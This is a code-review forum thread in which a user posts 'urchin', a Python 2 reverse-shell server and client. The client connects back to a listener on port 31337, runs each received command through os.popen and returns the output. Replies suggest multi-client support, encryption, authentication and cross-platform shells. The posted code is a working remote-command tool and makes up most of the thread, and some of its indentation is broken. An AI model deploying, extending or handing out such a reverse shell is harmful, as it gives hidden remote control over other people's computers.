Reverse shell allows connection between computers I've recently made a reverse-shell which allows you remote shell access to other computers.  

It's written in Python 2 and it is cross-platform. Basically, it get's user input for a command and sends it to the client with sockets. The client then runs it with os.system. 

Here's the code for the server (urchin.py):

#!/usr/bin/python
import socket, os, sys, platform

if 'Windows' in platform.system():
    os.system('cls')
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"
else:
    os.system("clear")  
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (\033[1;31mkeeganjk\033[0;0m)"
    print "Version   : v1.1.1 (\033[0;32mPluteus\033[0;0m)"

port = 31337
s = socket.socket()
s.bind(('', port))
print ""
print "[*] Waiting for connection ..."
s.listen(1)
while True:
    c, addr = s.accept()
    print "[+] Accepted connection from", addr, "!"
        print ""
    while True:
        cmd = raw_input("$ ")
        if cmd == "python":
            while cmd != "exit()":
                cmd = raw_input("&gt;&gt;&gt; ")
                if cmd == "exit":
                    print "Use exit() to exit"
                cmd = "python -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "bash":
            while True:
                cmd = raw_input("bash$ ")
                cmd = "bash -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "quit" or cmd == "exit":
            c.send('quit')
            s.close()
                sys.exit(1)
        else:
                c.send(cmd)
            print c.recv(1024)


And here's the code for client.py:

#!/usr/bin/python
import socket, os, sys
s = socket.socket()
host = '127.0.0.1'
port = 31337
s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
        o = " "
        s.send(o)
    elif cmd == "quit":
        s.close()
        sys.exit(1)
    else:
        o = os.popen(cmd).read()
        s.send(o)


Any suggestions? How can I make this work better?
Any suggestions?
  


The block of flavor text within that if/else...

    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"


... might be easier to extend upon via Python formating...

__about__ = """
  |     |  | ,--` ,--` |  | --- ,--`
\ * /   |  | |  | |    |  |  |  |  |
-*+*-   |  | |--, |    |--|  |  |  |
/ * \   |  | | \  |    |  |  |  |  |
  |     `__, |  \ `__, |  | --- |  |

Developer: {author_name} ({author_nic})
Version:   v{version_num} ({version_nic})
"""

# ... other setup stuff maybe

if 'Windows' in platform.system():
    os.system('cls')
    print(__about__.format(author_name = 'Keegan Kuhn',
                           author_nic = 'keeganjk',
                           version_num = '1.1.1',
                           version_nic = 'Plauteus'))
else:
    os.system("clear")
    print(__about__.format(
        author_name = 'Keegan Kuhn',
        author_nic = '\033[1;31mkeeganjk\033[0;0m',
        version_num = '1.1.1',
        version_nic = '\033[0;32mPlauteus\033[0;0m'))



  
    How can I make this work better?
  


@Joshua Klein already pointed out that the code be blocking ya from the joys of multi-client access. Though I'd suggest considering some form of encryption and authentication of each connection and their messages first.

If you're really going after multi-OS support I'd advise having a handy way of spawning shells on each, Windows (last I checked) does not have Bash pre-installed.

After that it might be fancy to add argpars to the client and server scripts as well as some form of configuration file parsing.



Looking closer, one wonders what happens when you assign a variable and later try to access it?